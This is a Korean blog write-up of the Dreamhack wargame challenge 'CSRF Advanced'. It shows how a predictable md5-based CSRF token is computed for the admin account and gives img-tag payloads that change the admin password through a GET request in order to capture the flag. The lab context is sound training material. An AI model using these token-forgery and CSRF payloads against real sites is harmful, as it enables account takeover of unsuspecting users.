2003

[Wargame] Dreamhack CSRF Advanced 본문

보안/WEB

[Wargame] Dreamhack CSRF Advanced

saya. 2024. 2. 16. 09:08

Exercise: CSRF Advanced에서 실습하는 문제입니다.

 

CSRF(Cross-Site Request Forgery)

교차 사이트 요청 위조를 의미합니다. 웹의 보안 취약점 중 하나로, 인증된 사용자의 권한을 이용하여 악의적인 요청을 실행하는 공격입니다. 공격자는 사용자의 브라우저를 통해 인증된 상태에서 악의적인 요청을 보내어 사용자의 계정에 대한 비정상적인 활동을 유도할 수 있습니다. 이러한 공격은 주로 인증된 사용자의 세션을 이용하여 비정상적인 활동을 수행하도록 함으로써 발생합니다. CSRF 공격으로부터 보호하기 위해서는 적절한 CSRF 토큰을 사용하거나, 요청을 보낼 때 추가적인 인증을 요구하는 등의 보안 메커니즘을 적용해야 합니다.

 

Base

 

1. login

로그인이 가능합니다.

 

app.py 코드에서 보는 바와 같이 id: guest, pw: guest로 로그인 가능하며, id:admin의 pw는 추측 불가능합니다.

 

2. change password

비밀번호를 변경 가능합니다. 변경 요청은 GET 방식으로 이뤄지며, 바꿀 비밀번호 및 csrf token이 포함됩니다.

 

'Change Password' 버튼을 누르면,

https://주소/change_password?pw=바꿀비밀번호&csrftoken=토큰토큰

대충 이런 url로 get 요청이 전송됩니다.

 

csrf_token은 어떤 값을 가질까?

token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()

csrf_token이 생성되는 코드를 보면 위과 같이 되어있기에, 무작위가 아닌 것을 알 수 있습니다.

여기서 username은 로그인한 id를 말하고, request.remote_addr은 현재 웹사이트에 접속해 있는 ip를 가리킵니다.

해당 문자열을 붙여 md5 해시화를 합니다.

csrf token 생성 원리를 알고 있기에 얼마든지 위변조 가능합니다.

 

3. vuln

xss 페이로드를 실습 가능한 페이지입니다.

코드를 보면 'frame', 'script', 'on'  키워드는 모두 '*'로 필터링 합니다.

해당 키워드를 쓰지 않거나 우회하여 csrf 페이로드를 작성해야 합니다.

기타 CSP 정책 등은 설정되어 있지 않습니다.

 

4. flag

페이로드를 삽입하여 플래그를 탈취하려는 시도를 해 볼 수 있습니다. 

 

Exploit

flag는 어떻게 해야 얻을 수 있을까?

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username},
    {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

코드를 보면 username이 admin일 때, 즉 admin으로 로그인 하였을 때 메인 페이지의 문구에 flag가 함께 나타납니다.

 

다음과 같은 순서로 진행하도록 하겠습니다.

 

1. username이 admin일 때의 csrf_token을 예측한다.

2. vuln 페이지에서 어떤 payload로 비밀번호를 바꾸는 csrf 공격이 가능한지 확인한다.

3. flag 페이지에서 csrf 공격을 수행한다.

4. admin 계정의 비밀번호를 변경해 로그인하여 flag를 얻는다.

 

csrf_token 예측

 

1. 터미널에서 python을 실행한 후 아래와 같이 코드를 작성합니다.

username='admin'
ip='127.0.0.1'
md5((username + ip).encode()).hexdigest()

2. '7505b9c72ab4aa94b1a4ed7b207b67fb' 라는 결과값이 표시됩니다.

 

csrf 공격이 가능한 페이로드

 

img나 svg의 src 태그로 url을 삽입하면 됩니다.

다음과 같은 payload를 param 파라미터에 삽입했을 시 guest 계정의 비밀번호가 변경되는지 확인해 보았습니다.

<img src="http://host3.dreamhack.games:port/change_password?pw=1234&csrftoken=guest+공인ip로 만들어지는 토큰"/>

 

변경이 됩니다. 

 

flag 페이지에서 csrf 공격 수행

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb"/>

 

 

admin 계정으로 로그인 후 flag 얻기

바뀐 비밀번호로 로그인이 가능하며, 성공적으로 flag를 얻을 수 있었습니다.